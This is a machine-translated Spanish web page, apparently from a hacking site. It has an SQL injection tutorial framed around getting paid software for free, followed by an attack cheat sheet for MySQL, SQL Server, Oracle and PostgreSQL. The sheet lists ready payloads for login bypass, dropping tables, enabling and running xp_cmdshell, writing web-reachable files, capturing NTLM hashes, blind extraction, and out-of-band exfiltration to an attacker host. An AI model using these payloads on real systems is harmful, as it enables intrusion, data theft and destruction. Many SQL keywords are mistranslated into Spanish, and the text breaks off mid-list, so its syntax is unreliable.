Menú
Está libre
registro
hogar  /  Internet/ Inyección SQL por dentro y por fuera. Definición de columnas para mostrar

Inyección SQL por dentro y por fuera. Definiendo las columnas para mostrar

Inyección SQL suficiente buena oportunidad para que un hacker obtenga
acceso al servidor. Y con un poco de esfuerzo,
todavía lo entiendo 🙂

Codificador en el interior

Hoy en día se admite trabajar con bases de datos
casi todos los lenguajes de programación, estos incluyen BASIC, C ++, Java, PERL, PHP, Assembler e incluso JavaScript. Y estos programas no se denominan de otra manera DBMS: sistemas de gestión de bases de datos. Las bases de datos se utilizan a menudo para resolver problemas financieros,
contabilidad, organización de personal, pero han encontrado su aplicación en Internet.

Las bases de datos se utilizan a menudo para escribir aplicaciones web. Su uso es más apropiado para almacenar datos de registro de usuarios, ID de sesión, organizar búsquedas y otras tareas que requieren más procesamiento.
la cantidad de datos. Se utilizan tecnologías de servidor para acceder a la base de datos: PHP, PERL, ASP, etc. Aquí es donde la diversión comienza. Cuando en el servidor
todos los parches están instalados y el firewall está bloqueando todos los puertos excepto el 80, o cuando se requiere autenticación para acceder a algunos datos, un hacker puede usar SQL Injection para piratear. La esencia de este ataque es utilizar un error en el cruce Tecnologías WEB y SQL. El hecho es que muchos páginas web para procesar los datos del usuario, forma un especial SQL consulta de base de datos. El uso descuidado de esta técnica puede conducir a resultados bastante interesantes ...

Inyección SQL

Para explicar el ataque, imaginemos que fue al sitio para descargar una herramienta muy importante y se da cuenta con horror de que solo un usuario registrado puede hacer esto, y el registro, por supuesto, cuesta dinero 🙂 No quiero dar el último dinero ganado, ¡pero no hay forma de hacerlo sin el programa! Es hora de recordar como
acceso a bases de datos SQL... Por ejemplo, comprobar un nombre de usuario y una contraseña en PHP puede verse así:

$ resultado = mysql_db_query ($ db, "SELECT * FROM $ table WHERE user =" $ login "Y
pass = "$ contraseña" ");
$ num_rows = mysql_num_rows ($ resultado);
mysql_close ($ enlace);
si ($ num_rows! = 0)
{
// AUTENTICACIÓN OK
}
demás
{
// ERROR DE AUTENTICACIÓN
}

Agregué dos comentarios, "AUTENTICACIÓN OK" - debería en su lugar
vaya al código que se ejecutará si la contraseña y el inicio de sesión son correctos. Otro "ERROR DE AUTENTICACIÓN" es un lugar donde se describirá el código, el cual se ejecuta en caso de que sea incorrecto. Si completa el formulario, la solicitud se verá como "http://www.server.com?login=user&password=31337", donde www.server.com es el nombre.
el servidor al que intentamos conectarnos. Encontramos lo que buscábamos, y por eso volveremos a trabajar SQL... Entonces, si para la autorización debe especificar un nombre de usuario y una contraseña, entonces el SQL la solicitud se verá así:

SELECCIONAR * DE usuarios DONDE login = "usuario" Y
contraseña = "31337"

Esto significa algo como esto: devuélveme todos los registros de la base de datos de usuarios con el "usuario" de inicio de sesión y la contraseña "31337". Si existe tal registro, entonces el usuario está registrado, pero si no, entonces no ... Pero bajo ciertas circunstancias, todo se puede corregir. Esto significa una situación en la que la aplicación no verifica el contenido de los datos transmitidos o no verifica completamente la presencia de SQL instrucciones. En este ejemplo, se comparan dos campos de inicio de sesión y contraseña, pero si especifica "31337 ′ AND email =" [correo electrónico protegido]"(Sin comillas dobles), la consulta será ligeramente diferente:

SELECCIONE * DE usuarios DONDE login = "usuario" Y contraseña = "31337" Y
email = " [correo electrónico protegido]"

Y si existe el campo de correo electrónico, también se comprobará esta condición. Si recuerda los conceptos básicos del álgebra de Boole, entonces le viene a la mente que además de la operación "y", también hay una "o", y dado que su uso es compatible con SQL, puede
agregue una condición que siempre devuelva verdadero de la manera descrita. Para hacer esto, debe especificar "usuario" O 1 = 1— "como inicio de sesión, en cuyo caso la solicitud tomará la forma:

SELECCIONE * DE usuarios DONDE login = "usuario" O 1 = 1-- "Y
contraseña = "31337"

Primero, debe saber que "-" significa el final de la solicitud y todo lo que sigue a "-"
no será procesado! Resulta como si hiciéramos una solicitud:

SELECCIONAR * DE usuarios DONDE login = "usuario" O 1 = 1

Como puede ver, hemos agregado la condición "1 = 1", lo que significa que el criterio de prueba será "si el inicio de sesión es 'usuario' o 1 = 1", pero después de todo, 1 siempre es igual a 1 (la única excepción puede ser la aritmética de Dani Shepovalov :)). Para poner a prueba nuestras sospechas
martillamos en Barra de dirección"Http://www.server.com?login=user o 1 = 1— & password = 31337". Esto lleva al hecho de que no importa qué inicio de sesión especificamos, sino
¡especialmente la contraseña! Y estamos en la matriz ... oh, en el sistema y podemos descargar tranquilamente lo que necesitamos.

Pero todo esto es en teoría. En la práctica, no sabemos cómo se forma la solicitud, qué datos se transmiten y en qué secuencia. Por lo tanto, es necesario especificar "usuario" OR 1 = 1— "para todos los campos. También debe verificar el formulario de envío para ver si hay campos ocultos. En HTML, se describen como " ". Si hay alguno, guarde la página y cambie los valores de estos campos. Los valores contenidos en ellos a menudo se olvidan para verificar la presencia de declaraciones SQL. Pero para que todo funcione, debe en el formulario (etiqueta "FORM") para el parámetro "ACCIÓN" especificar la ruta completa al script que procesa esta solicitud.

Pero no siempre se sabe también cómo se forma la solicitud,
el ejemplo anterior podría formarse de las siguientes formas:

SELECCIONAR * DE usuarios DONDE (inicio de sesión = "usuario" Y contraseña = "31337")
SELECCIONAR * DE usuarios DONDE login = "usuario" Y contraseña = "31337"
SELECCIONE * DE usuarios DONDE inicio de sesión = usuario Y contraseña = 31337

En este caso, puede probar las siguientes opciones:

"O 1 = 1—
»O 1 = 1—
O 1 = 1—
‘OR’ a ’=’ a
"O" a "=" a
‘) O (‘ a ’=’ a
O ‘1’ = ’1 ′

Todo depende del propósito del script y del programador. Dado que es común que cada persona haga todo a su manera, es muy posible que el programador elija la opción más sencilla. Por lo tanto, uno no debe
Ríndete si te rechazan. Necesario
intente tanto como sea posible gran cantidad opciones ...

Detección de contraseña

Pasar por alto la autorización no es malo, pero muy a menudo el agujero que está utilizando se cierra y todo lo que estaba disponible para usted se pierde.
Esto es de esperar, si el programador no es tonto.
con el tiempo cubrirá todas las lagunas. Puede deshacerse fácilmente de tales situaciones ocupándose de esto con anticipación. La solución correcta podría ser adivinar la contraseña usando
análisis de los resultados de la autenticación. Primero, intentamos adivinar la contraseña, para ello ingresamos al lugar de la misma:

"O contraseña>" a

Si nos responden que se pasó la autorización, entonces la contraseña
comienza no con la letra "a", sino con uno de los siguientes en la lista. Avanza y sustituye
coloque "a", luego "b", "c", "d", "e" ... y así sucesivamente. hasta que nos digan que la contraseña no es correcta. Deje que este proceso se detenga en el símbolo "x", en este caso, se crean dos opciones para el desarrollo de la situación, se encuentra la contraseña o se lee la contraseña en este símbolo. Para marcar la primera opción, escribimos el lugar de la contraseña:

"O contraseña =" x

y si se acepta la contraseña y se le permite ingresar, ¡adivinó la contraseña! Bueno, no, entonces ya deberías seleccionar el segundo carácter,
exactamente lo mismo desde el principio. Para dos caracteres, marque
necesitas lo mismo. Al final, recibirá una contraseña y está buscando el inicio de sesión de la misma manera 🙂
Si la contraseña y el inicio de sesión encontrados no le convienen, puede buscar otros. Para hacer esto, debe comenzar a verificar desde el último carácter de la contraseña encontrada. Entonces, si la contraseña era "xxx", es necesario verificar la existencia de la contraseña.
"xxy":

"O contraseña =" xxx

¡para no perderse más de una opción!

MS SQL Server

SRA servidor SQL generalmente un hallazgo si se pierde el filtrado necesario. Usando la vulnerabilidad de inyección de SQL, puede ejecutar
comandos en un servidor remoto usando exec master..xp_cmdshell. Pero para usar esta construcción
es necesario completar la operación "SELECT". En SQL, las declaraciones están separadas por punto y coma. Por lo tanto, se conectará a alguna IP a través de Telnet, debe ingresar la contraseña / lugar de inicio de sesión:

"; exec master..xp_cmdshell" telnet 192.168.0.1 "-

MS SQL Server tiene algunos más características interesantes, lo que le permite conocer los inicios de sesión y las contraseñas almacenadas en la base de datos. Para hacer esto, la salida de error se redirige a un servidor arbitrario y a través de ellos
análisis, puede averiguar el nombre de la tabla, los campos y sus tipos. Entonces puedes solicitar

'UNION SELECT TOP 1 login FROM users—

(inicio de sesión es el nombre del campo que contiene el inicio de sesión y usuarios es el nombre de la tabla,
semi-científicos en el proceso de análisis de errores).

La respuesta podría ser la siguiente:


Error de sintaxis al convertir el valor nvarchar "(! LANG: admin" to a column of data type int. !}
/default.asp, línea 27

Ahora sabemos que hay un usuario llamado "admin". Ahora podemos obtener su contraseña:

‘UNION SELECT TOP 1 password FROM users where login =’ admin ’

Resultado:

Proveedor Microsoft OLE DB para controladores ODBC error "80040e07"
Error de sintaxis al convertir el valor nvarchar "(! LANG: xxx" to a column of data type int. !}
/tedault.asp, línea 27

Ahora sabemos que existe un usuario "admin" con la contraseña "xxx". Esto puede ser seguro
utilizar e iniciar sesión en el sistema 😉

Pero hay muchas otras funciones para trabajar con SQL,
al trabajar con una base de datos, también puede eliminar datos, modificar, insertar los suyos e incluso manipular archivos y trabajar con el registro.
En general, las reglas de SQL Server 🙂

Proteccion

Pero todo esto, naturalmente, se puede evitar. Para hacer esto, puedes
usar filtros,
proporcionados por los fabricantes. Puede encontrar sus propias soluciones, por ejemplo, reemplazar todas las
comillas dobles (si para SQL usamos solicitud única), o viceversa. Solo puedes permitir el uso de letras y con @ baki, si necesitas ingresar
dirección de correo electrónico. Y también en la perla hay un asombroso
la función 🙂 quote () en el módulo DBI :: DBD que hace que su consulta sea segura contra SQL... Hay muchas soluciones, solo las necesitas
Aprovechar. De lo contrario, ¿por qué entonces todo esto ...

La hoja de trucos de inyección de SQL está diseñada para resumir las características técnicas de varios tipos de vulnerabilidades de inyección de SQL. El artículo presenta las características de la inyección SQL en MySQL, Microsoft SQL Server, ORÁCULO y PostgreSQL.

0. Introducción
En este artículo puede encontrar información detallada información técnica sobre diferentes tipos de inyección SQL. Puede ser útil tanto para especialistas experimentados como para principiantes en el campo de la seguridad de la información.

V en la actualidad la hoja de trucos contiene información solo para MySQL, Microsoft SQL Server y algunos datos para ORACLE y PostgreSQL. Las secciones contienen ejemplos de sintaxis, explicación e inyección.

Notación usada:
M (MySQL);
S (servidor SQL);
O (Oracle);
P (PostgreSQL);
+ (posiblemente en otras bases de datos);
* (se requieren condiciones especiales).

1. Comentarios de línea
Los comentarios suelen ser útiles para ignorar parte de una solicitud.
Sintaxis:
- (SM): muestrable DROP; -
# (M): DROP sampletable; #
Ejemplo:
Nombre de usuario: admin "-
Consulta generada: SELECCIONAR * DE miembros DONDE nombre de usuario = "admin" - "Y contraseña =" contraseña "
Esto le permitirá iniciar sesión como usuario administrador, ignorando la verificación de contraseña.

2. Bloquear comentarios
Con su ayuda, puede ignorar parte de la solicitud, reemplazar espacios, omitir listas negras y determinar la versión de la base de datos.
Sintaxis:
/ * Comentario * / (SM):
DROP / * comentario * / sampletable
DR / ** / OP / * traverse_black_list * / sampletable
SELECT / * space_replace * / contraseña / ** / FROM / ** / Members

/ *! SQL especial de MYSQL * / (M): SELECT / *! 32302 1/0, * / 1 FROM tablename
Esta es una sintaxis de comentario específica de MySQL. Te permite detectar tu versión de MySQL. Este comentario solo funcionará en MySQL.
Ejemplos:
ID: 10; Miembros de DROP TABLE / *
Ignoramos el resto de la solicitud, así como un comentario de línea.

ID: / *! 32302 10 * /
obtendrá la misma respuesta que con ID = 10 si la versión de MySQL es superior a 3.23.02

ID: / *! 32302 1/0, * /
Consulta generada: SELECT / *! 32302 1/0, * / 1 FROM tablename
Se producirá un error de división por 0 si el servidor tiene una versión de MySQL superior a 3.23.02

3. Secuencia de solicitudes
Le permite ejecutar más de una solicitud a la vez. Esto es útil en cualquier punto de inyección.


Verde - apoyado; negro - no compatible; gris - desconocido.
Sintaxis:
; (S): SELECT * FROM miembros; Miembros de DROP--
Una solicitud ha finalizado, la siguiente ha comenzado.
Ejemplo:
ID: 10; miembros DROP -
Consulta generada: SELECCIONAR * DE productos DONDE id = 10; Miembros de DROP--
Esta consulta eliminará la tabla de miembros después de una consulta normal.

4. Declaraciones condicionales
Recibiremos una respuesta a la solicitud si se cumple la condición. Este es uno de los puntos clave de la inyección a ciegas. También ayudan a verificar con precisión cosas simples.
Sintaxis:
SI (condición, parte verdadera, parte falsa) (M): SELECT IF (1 = 1, "true", "false")
IF condición parte verdadera ELSE parte falsa (S): IF (1 = 1) SELECT "true" ELSE SELECT "falso"
SI la condición ENTONCES parte verdadera; ELSE parte falsa; TERMINARA SI; FIN; (O): SI (1 = 1) ENTONCES dbms_lock.sleep (3); ELSE dbms_lock.sleep (0); TERMINARA SI; FIN;
SELECCIONE CASO CUANDO condición ENTONCES parte verdadera ELSE parte falsa FIN; (P): SELECCIONAR CASO CUANDO (1 = 1) LUEGO "A" ELSE "B" FIN;
ejemplo:
if ((seleccionar usuario) = "sa" O (seleccionar usuario) = "dbo") seleccionar 1 si no, seleccionar 1/0 (S)
arrojará un error de división por cero si el usuario actual no es "sa" o "dbo".

5. Usando números
Se utiliza para omitir magic_quotes () y filtros similares, incluido WAF.
Sintaxis:
0xHEX_NUMBER (SM):
SELECCIONAR CARACTER (0x66) (S)
SELECCIONAR 0x5045 (esto no es un número, sino una cadena) (M)
SELECCIONAR 0x50 + 0x45 (ahora es un número) (M)
Ejemplos:
SELECCIONAR LOAD_FILE (0x633A5C626F6F742E696E69) (M)
Mostrará el contenido del archivo c: \ boot.ini

6. Concatenación de cadenas
Las operaciones de fila pueden ayudarlo a omitir filtros o definir una base de datos.
Sintaxis:
+ (S): SELECCIONAR inicio de sesión + "-" + contraseña DE miembros
|| (* MO): SELECCIONAR inicio de sesión || "-" || contraseña de miembros
Funcionará si MySQL se ejecuta en modo ANSI. De lo contrario, MySQL no lo aceptará como operador booleano y devolverá 0. Es mejor usar la función CONCAT () en MySQL.

CONCAT (str1, str2, str3, ...) (M): SELECT CONCAT (login, password) FROM miembros

7. Líneas sin comillas
Hay varias formas de evitar el uso de comillas en una consulta, por ejemplo, con CHAR () (MS) y CONCAT () (M).
Sintaxis:
SELECCIONAR 0x457578 (M)

MySQL tiene una forma sencilla de hexadecimal una cadena:
SELECCIONAR CONCAT ("0x", HEX ("c: \\ boot.ini"))

Devuelve la cadena "KLM":
SELECCIONAR CONCAT (CHAR (75), CHAR (76), CHAR (77)) (M)
SELECCIONAR CARACTER (75) + CARACTER (76) + CARACTER (77) (S)
SELECCIONAR CHR (75) || CHR (76) || CHR (77) (O)
SELECCIONAR (CHaR (75) || CHaR (76) || CHaR (77)) (P)

8. Conversión de cadenas y números.
Sintaxis:
ASCII () (SMP): SELECCIONAR ASCII ("a")
Devuelve el código ASCII del carácter situado más a la izquierda. La función se utiliza para inyecciones a ciegas.

CHAR () (SM): SELECT CHAR (64)
Traduce el código ASCII al carácter correspondiente.

9. Operador UNION
Con el operador UNION, puede realizar consultas en la intersección de tablas. Básicamente, puede enviar una consulta que devuelva un valor de otra tabla.
Ejemplo:
SELECCIONAR encabezado, txt DE noticias UNION TODO SELECCIONAR nombre, pasar DE miembros
Esto combinará los resultados de las tablas de noticias y miembros.

10. Omisión de autenticación (SMO +)
Ejemplos:
admin "-
admin "#
admin "/ *
"o 1 = 1--
"o 1 = 1 #
"o 1 = 1 / *
") o" 1 "=" 1--
") o (" 1 "=" 1--

11. Omitir la autenticación mediante MD5
Si la aplicación primero compara el nombre de usuario y luego compara el hash md5 de la contraseña, entonces necesita trucos adicionales para evitar la autenticación. Puede combinar los resultados con una contraseña conocida y su hash.
Ejemplo (MSP):
Nombre de usuario: admin
Contraseña: 1234 "AND 1 = 0 UNION ALL SELECT" admin ","
= MD5 (1234)

12. Basado en errores
12.1 Definición de columnas con HAVING BY (S)
Ejemplo:
En el mismo orden
"TENIENDO 1 = 1 -
"GROUP BY table.columnfromerror1 TENIENDO 1 = 1 -
"GROUP BY table.columnfromerror1, columnfromerror2 TENIENDO 1 = 1 -
"GROUP BY table.columnfromerror1, columnfromerror2, columnfromerror3 TENIENDO 1 = 1 -
…………….
Continúe hasta que deje de recibir errores.

12.2 Determinación del número de columnas con ORDER BY (MSO +)
Encontrar el número de columnas mediante ORDER BY se puede acelerar mediante la inyección UNION.
PEDIR POR 1--
PEDIR POR 2--
PEDIR POR 3-
………………..
Continúe hasta que reciba un mensaje de error. Esto indicará el número de columnas.

13. Definición del tipo de datos
Utilice siempre UNION con ALL.
Para deshacerse de una entrada innecesaria en la tabla, use -1 any not valores existentes al comienzo de la consulta (si la inyección está en el parámetro WHERE). Esto es importante si solo puede recuperar un valor a la vez.
Use NULL en la inyección UNION en lugar de intentar adivinar una cadena, fecha, número, etc. Pero tenga cuidado con la inyección a ciegas, ya que puede confundir el error de la base de datos y la propia aplicación. Algunos lenguajes, por ejemplo ASP.NET, arrojan un error cuando se usa un valor NULL (porque los desarrolladores no esperaban ver un valor nulo en el campo de nombre de usuario)
Ejemplos:
"suma de selección de unión (búsqueda de columnas) de los usuarios-- (S):
Si no recibe un mensaje de error, la columna es numérica.

SELECT * FROM Table1 WHERE id = -1 UNION ALL SELECT null, null, NULL, NULL, convert (image, 1), null, null, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULl, NULL -
Puede usar CAST () o CONVERT ()

11223344) UNION SELECT NULL, NULL, NULL, NULL DONDE 1 = 2 –-
Si no hay ningún error, entonces la sintaxis es correcta, es decir utilizado por MS SQL Server.

11223344) UNION SELECT 1, NULL, NULL, NULL DONDE 1 = 2 –-
Si no hay ningún error, la primera columna es un número.

11223344) UNION SELECT 1,2, NULL, NULL DONDE 1 = 2 -
Si ocurre un error, la segunda columna no es un número.

11223344) UNION SELECT 1, '2', NULL, NULL DONDE 1 = 2 –-
Si no hay ningún error, la segunda columna es una fila.
……………..

14. Inserción simple (MSO +)
Ejemplo:
"; insertar en los valores de los usuarios (1," hax0r "," coolpass ", 9) / *

15. Recopilación de información
Sintaxis:
@@ versión (MS)
Puede consultar la versión de la base de datos y más detalles.
Ejemplo:
INSERT INTO miembros (id, user, pass) VALUES (1, "" + SUBSTRING (@@ version, 1,10), 10)

16. Inserto (S) complejo
Le permite insertar el contenido de un archivo en una tabla. Si no conoce la ruta interna de la aplicación web, puede leer la metabase de IIS (solo IIS 6).
Sintaxis:
archivo (% systemroot% \ system32 \ inetsrv \ MetaBase.xml)
Luego, puede encontrar las rutas de la aplicación en él.
Ejemplo:
1. Cree la tabla foo (cadena de tipo varchar (8000))
2. Inserte el contenido del archivo "c: \ inetpub \ wwwroot \ login.asp" en la tabla foo
3. Suelta la tabla temporal y repite para otro archivo.

17. BCP (S)
Escribe Archivo de texto... Esto requiere credenciales.
Ejemplo:
bcp "SELECT * FROM test..foo" queryout c: \ inetpub \ wwwroot \ runcommand.asp -c -Slocalhost -Usa -Pfoobar

18.VBS, WSH en SQL Server (S)
Puede utilizar secuencias de comandos VBS, WSH en SQL Server.
Ejemplo:
Nombre de usuario: "; declare @o int exec sp_oacreate" wscript.shell ", @o out exec sp_oamethod @o," run ", NULL," notepad.exe "-

19. Ejecución de comandos del sistema (S)
Truco bien conocido, la función está deshabilitada de forma predeterminada en SQL Server 2005. Necesita derechos de administrador.
Ejemplo:
EXEC master.dbo.xp_cmdshell "cmd.exe dir c:"
EXEC master.dbo.xp_cmdshell "ping"

20. Tablas especiales en SQL Server (S)
Ejemplos:
Mensajes de error: master..sysmessages
Servidores enlazados: master..sysservers
Contraseña SQL Server 2000: masters..sysxlogins
Contraseña de SQL Server 2005: sys.sql_logins

21. Varios procedimientos almacenados para SQL Server (S)
Sintaxis:
Cmd Ejecutar (xp_cmdshell)
Cosas del registro (xp_regread):
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite
Gestión de servicios (xp_servicecontrol)
Medios (xp_availablemedia)
Recursos ODBC (xp_enumdsn)
Modo de inicio de sesión (xp_loginconfig)
Creación de archivos Cab (xp_makecab)
Enumeración de dominios (xp_ntsec_enumdomains)
Eliminación de procesos (se requiere PID) (xp_terminate_process)
Agregar nuevo procedimiento (sp_addextendedproc)
Escribir archivo de texto en un UNC o una ruta interna (sp_makewebtask)
Ejemplos:
exec xp_regread HKEY_LOCAL_MACHINE, "SYSTEM \ CurrentControlSet \ Services \ lanmanserver \ parameters", "nullsessionshares"
exec xp_regenumvalues ​​HKEY_LOCAL_MACHINE, "SYSTEM \ CurrentControlSet \ Services \ snmp \ parameters \ validcommunities"
sp_addextendedproc "xp_webserver", "c: \ temp \ x.dll"
exec xp_webserver

22. Notas masivas de MSSQL
Ejemplos:
SELECCIONAR * FROM master..sysprocesses / * WHERE [correo electrónico protegido]@ SPID * /
DECLARE @result int; EXEC @result = xp_cmdshell "dir * .exe"; IF (@result = 0) SELECT 0 ELSE SELECT 1/0
HOST_NAME ()
IS_MEMBER (Transact-SQL)
IS_SRVROLEMEMBER (Transact-SQL)
OPENDATASOURCE (Transact-SQL)
INSERTAR tbl EXEC master..xp_cmdshell OSQL / Q "DBCC SHOWCONTIG"
OPENROWSET (Transact-SQL): http://msdn2.microsoft.com/en-us/library/ms190312.aspx

23. Inyección de SQL en consultas LIMIT (M)
Ejemplo:
SELECT id, product FROM test.test LIMIT 0,0 UNION ALL SELECT 1, "x" / *, 10;
Para sortear la declaración LIMIT, puede usar UNION o un comentario.

24. Apagar SQL Server (S)
Ejemplo:
"; apagar -

25. Habilitación de xp_cmdshell en SQL Server 2005
Sintaxis:
De forma predeterminada, xp_cmdshell y un par de otras funciones potencialmente peligrosas están deshabilitadas en SQL Server 2005. Como administrador, puede habilitarlas.
EXEC sp_configure "mostrar opciones avanzadas", 1
RECONFIGURAR
EXEC sp_configure "xp_cmdshell", 1
RECONFIGURAR

26. Búsqueda de la estructura de la base de datos en SQL Server (S)
Ejemplos:
SELECCIONE el nombre de sysobjects DONDE xtype = "U"

SELECCIONAR nombre DE syscolumns DONDE id = (SELECCIONAR id DE sysobjects DONDE nombre = "tablenameforcolumnnames")
Recuperar títulos de columna

27. Traslado de registros (S)
Ejemplos:
... DONDE los usuarios NO ESTÁN EN ("Primer usuario", "Segundo usuario")
Use DONDE con NO EN o NO EXISTE

SELECCIONE el nombre TOP 1 DE los miembros DONDE NO EXISTE (SELECCIONE EL nombre TOP 0 DE los miembros)

SELECT * FROM Product WHERE ID = 2 AND 1 = CAST ((Select p.name from (SELECT (SELECT COUNT (i.id) AS rid FROM sysobjects i WHERE i.id<=o.id)
AS x, nombre de sysobjects o) as p donde p.x = 3) as int

Seleccione p.name de (SELECT (SELECT COUNT (i.id) AS rid FROM sysobjects i WHERE xtype = "U" y i.id<=o.id) AS x, name from sysobjects o WHERE o.xtype = "U") as p where p.x=21

28. Una forma rápida de extraer datos de la inyección SQL basada en errores en SQL Server (S)
"; COMENZAR DECLARAR @rt varchar (8000) SET @ rd =": "SELECCIONAR @ [correo electrónico protegido]+ "" + nombre DESDE syscolumns DONDE id = (SELECCIONAR id DESDE sysobjects DONDE nombre = "MIEMBROS") Y nombre> @rd SELECCIONAR @rd AS rd en TMP_SYS_TMP end; -

29. Búsqueda de la estructura de la base de datos en MySQL (M)
Ejemplos:
SELECCIONE table_name FROM information_schema.tables DONDE table_schema = "tablename"
Recuperando tablas personalizadas

SELECT table_name, column_name FROM information_schema.columns DONDE table_schema = "tablename"
Recuperar títulos de columna

30. Búsqueda de la estructura de la base de datos en Oracle (O)
Ejemplos:
SELECT * FROM all_tables WHERE OWNER = "DATABASE_NAME"
Recuperando tablas personalizadas

SELECT * FROM all_col_comments DONDE TABLE_NAME = "TABLE"
Recuperar títulos de columna

31. Inyección a ciegas
En una aplicación de calidad, no podrá ver mensajes de error. No podrá utilizar el operador UNION ni los ataques basados ​​en errores. Tendrá que utilizar la inyección SQL ciega para recuperar datos. Hay dos tipos de inyecciones a ciegas.
Inyección ciega simple: no puede ver los resultados de las solicitudes en la página, pero puede determinar el resultado a partir de la respuesta o el estado HTTP.
Inyección totalmente ciega: no verá ninguna diferencia en la salida.
En inyecciones ciegas normales, puede usar declaraciones IF y WHERE, en inyecciones completamente ciegas necesita usar algunas funciones de espera y comparar tiempos de respuesta. Para hacer esto, puede usar WAIT FOR DELAY '0: 0: 10' en SQL Server, BENCHMARK () y sleep (10) en MySQL, pg_sleep (10) en PostgreSQL.
Ejemplo:
Este ejemplo se basa en una explotación del mundo real de Blind Injection en SQL Server.

VERDADERO: SELECCIONE ID, nombre de usuario, correo electrónico DE DONDE ID = 1 Y ESNULO (ASCII (SUBSTRING ((SELECCIONE EL 1 nombre DE TOP 1 DE sysObjects DONDE xtYpe = 0x55 Y el nombre NO ESTÁ EN (SELECCIONE 0 nombre de TOP 0 DE sysObjects DONDE xtYpe = 0x55)), 1 , 1)), 0)> 78--

FALSO: SELECCIONE ID, nombre de usuario, correo electrónico DESDE DONDE ID = 1 Y ES NULO (ASCII (SUBSTRING ((SELECCIONE EL 1 nombre DE TOP 1 DE sysObjects DONDE xtYpe = 0x55 Y el nombre NO ESTÁ EN (SELECCIONE 0 nombre de TOP 0 DE sysObjects DONDE xtYpe = 0x55)), 1 , 1)), 0)> 103--

FALSO: SELECCIONE ID, nombre de usuario, correo electrónico DESDE IDENTIFICACIÓN = 1 Y ESNULO (ASCII (SUBSTRING ((SELECCIONAR 1 nombre DE SysObjects DONDE xtYpe = 0x55 Y nombre NO ENTRE (SELECCIONAR 0 nombre DE SysObjects DONDE xtYpe = 0x55)), 1 , 1)), 0)> 89--

FALSO: SELECCIONE ID, nombre de usuario, correo electrónico DESDE IDENTIFICACIÓN = 1 Y ESNULO (ASCII (SUBSTRING ((SELECCIONAR 1 nombre DE SysObjects DONDE xtYpe = 0x55 Y nombre NO ENTRE (SELECCIONAR 0 nombre DE SysObjects DONDE xtYpe = 0x55)), 1 , 1)), 0)> 83--

VERDADERO: SELECCIONE ID, nombre de usuario, correo electrónico DE DONDE ID = 1 Y ESNULO (ASCII (SUBSTRING ((SELECCIONE EL 1 nombre DE TOP 1 DE sysObjects DONDE xtYpe = 0x55 Y el nombre NO ESTÁ EN (SELECCIONE 0 nombre de TOP 0 DE sysObjects DONDE xtYpe = 0x55)), 1 , 1)), 0)> 79--

FALSO: SELECCIONE ID, nombre de usuario, correo electrónico DESDE DONDE ID = 1 Y ES NULO (ASCII (SUBSTRING ((SELECCIONE EL 1 nombre DE TOP 1 DE sysObjects DONDE xtYpe = 0x55 Y el nombre NO ESTÁ EN (SELECCIONE 0 nombre de TOP 0 DE sysObjects DONDE xtYpe = 0x55)), 1 , 1)), 0)> 80--

Según las dos últimas consultas, sabemos con certeza que el valor del primer carácter en ascii es 80. Por tanto, el primer carácter es "P". Así, podemos averiguar los nombres de las tablas y su contenido. Otra forma es leer los datos bit a bit.

32. Inyección completamente ciega
Utilice este método solo para una inyección verdaderamente ciega. Tenga cuidado con la latencia.
Sintaxis:
ESPERAR RETRASO "tiempo" (S)
La función simplemente espera el tiempo especificado sin cargar el procesador.
Ejemplos:
if (seleccionar usuario) = "sa" esperar por retraso "0: 0: 10"
ProductID = 1; espera por retraso "0: 0: 10" -
ProductID = 1); espera por retraso "0: 0: 10" -
ProductID = 1 "; espera por retraso" 0: 0: 10 "-
ProductID = 1 "); espera por retraso" 0: 0: 10 "-
ProductID = 1)); espera por retraso "0: 0: 10" -
ProductID = 1 ")); espera por retraso" 0: 0: 10 "-
Sintaxis:
BENCHMARK (cuántas veces, haz esto) (M)
Ejemplo:
SI EXISTE (SELECCIONE * DE usuarios DONDE username = "root") BENCHMARK (1000000000, MD5 (1))
Comprobamos la presencia del usuario root.

IF (SELECT * FROM login) BENCHMARK (1000000, MD5 (1))
Comprobando una tabla en MySQL
Sintaxis:
pg_sleep (segundos) (P)
Duerme durante los segundos suministrados.

dormir (segundos) (M)
dormir durante los segundos suministrados.

bms_pipe.receive_message (O)
dormir durante los segundos suministrados.
Ejemplo:
(SELECCIONAR CASO CUANDO (NVL (ASCII (SUBSTR (((INYECCIÓN)), 1,1)), 0) = 100) ENTONCES dbms_pipe.receive_message (("xyz"), 10) ELSE dbms_pipe.receive_message (("xyz" ), 1) FIN DE dual)
(INYECCIÓN) es su solicitud.
Si la condición es verdadera, la respuesta será de 10 segundos. De lo contrario, la respuesta será de 1 segundo.

33. Funciones útiles de MySQL
Sintaxis:
MD5 ()
SHA1 ()
CONTRASEÑA ()
CODIFICAR ()
COMPRIMIR ()
NÚMERO DE FILAS ()
ESQUEMA ()
VERSIÓN ()

34. Inyecciones SQL de segundo orden
Normalmente, inserta una consulta de inyección SQL en un campo y espera que no se filtre.
Ejemplo:
Nombre: "+ (SELECCIONAR LA PRIMERA 1 contraseña de los usuarios) +"
Correo electrónico: [correo electrónico protegido]
Si la aplicación usa el nombre de campo de una función o procedimiento almacenado, entonces puede usarlo para inyección.

35. Uso de SQL Server para recuperar hash NTLM
Este ataque ayudará a obtener la contraseña de usuario de Windows del servidor de destino a través de SQL Server si no hay acceso externo. Podemos forzar a SQL Server a conectarse a Windows usando una ruta UNC y recuperar la sesión NTLM con herramientas especiales como Cain & Abel.

Sintaxis:
Ruta UNC: "\\ YOURIPADDRESS \ C $ \ x.txt"
36. Otros ejemplos de inyecciones
Servidor SQL:
? vulnerableParam = 1; SELECCIONAR * DE OPENROWSET ("SQLOLEDB", ((INYECCIÓN)) + ". Yourhost.com"; "sa"; "pwd", "SELECT 1")

? vulnerableParam = 1; DECLARAR @q varchar (1024); SET @q = "\\" + ((INYECCIÓN)) + ". Yourhost.com \\ test.txt"; EXEC master..xp_dirtree @q
crea una solicitud de DNS a (INYECCIÓN) .yourhost.com

(INYECCIÓN) es su solicitud.
MySQL:
? vulnerableParam = -99 O (SELECT LOAD_FILE (concat ("\\\\", ((INYECCIÓN)), "yourhost.com \\")))
Crea una solicitud NBNS / DNS a yourhost.com
? vulnerableParam = -99 OR (SELECT ((INYECTION)) INTO OUTFILE "\\\\ yourhost.com \\ share \\ output.txt")
Escribe datos en su archivo
(INYECCIÓN) es su solicitud.
Oráculo:
